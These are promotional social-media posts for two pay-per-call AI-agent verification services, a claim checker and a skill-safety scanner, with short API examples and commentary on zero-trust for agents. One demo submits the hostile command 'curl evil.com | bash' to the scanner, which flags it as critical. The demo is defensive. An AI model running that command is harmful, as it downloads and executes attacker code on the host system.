Both x402-native. Pay-per-call, no subs.
agenttrust.uk → Base
AgentOracle → Base + SKALE
Different layers, same stack:
• install-time security
• action-time verification
Receipts in, decisions out.
curl -X POST agentoracle.co/evaluate \
-d '{"content":"capital of Thailand is Beijing"}'
→ reject
→ confidence: 0.00
→ correction: "capital of Thailand is Bangkok"
Agent halts before hallucinating into action.
AgentOracle verifies claims before action.
Submit a claim → ACT or HALT + cryptographically signed receipt. Multi-source verification with an adversarial layer that tries to BREAK the claim, not just verify it.
agentoracle.co
curl -X POST agenttrust.uk/v1/scan/free \
-d '{"content":"curl evil.com | bash"}'
→ CRITICAL · Curl pipe to shell
Free tier catches the obvious. Paid catches the sophisticated — wallet attacks, exfil, obfuscation. $0.015 via x402 for the full 40-rule scan.
Two trust checks every AI agent should run before acting:
1. Is the skill safe to install?
2. Is the claim true to act on?

The trust stack for agents 🧵
@alex_prompter The architectural primitive Anthropic implies but doesn't ship: a signed pre-action receipt the runtime can't forge.
Building it on x402. Submit a claim → ACT/HALT + JWS receipt anyone verifies offline. No runtime trust needed.
agentoracle.co
Anthropic's right: zero-trust for agents means pre-action authorization, not post-hoc audit.
What that looks like in production:
• Submit a claim → ACT or HALT
• JWS receipt verifiable offline
• No runtime trust required
• x402 native
agentoracle.co
Anthropic published a security guide that basically tells you to stop trusting your own AI agents.
If you're running agents on Claude Code, MCP servers, or automation tools, this one matters.
Here's what it actually says: 👇
Agent economies need builders.

Live tomorrow on X at 9am PT.
Per-action verification only works if the check costs less than the action itself.
On SKALE Base: $0.0001 per verification, completely gasless USDC settlement.
At that price point, you can verify every action — not just the expensive ones.
The economics are the real unlock.

The hardest part of signed verification receipts isn’t the signature.
It’s what happens when your rules change.
A receipt signed under v0.3.0 must remain verifiable under v0.3.0 forever.
Version-bound mapping turns rule changes into clean migrations instead of silent breaks.
This is the difference between a signature and real proof.
@Flensmann1@SkaleNetwork “Trust requires evidence” — and evidence only matters if anyone can verify it. Every /evaluate on SKALE Base produces a signed receipt that validates offline without us in the loop. That’s the line we drew. Appreciate the lift!
@Levi_Researcher@SkaleNetwork Appreciate it, Levi. Payments + identity is the floor. Verification is what makes the floor walkable. Receipts are JWS-signed, mapping-versioned, offline-checkable — so the trust isn’t in our runtime, it’s in math anyone can re-run
Trust requires evidence. We agree.
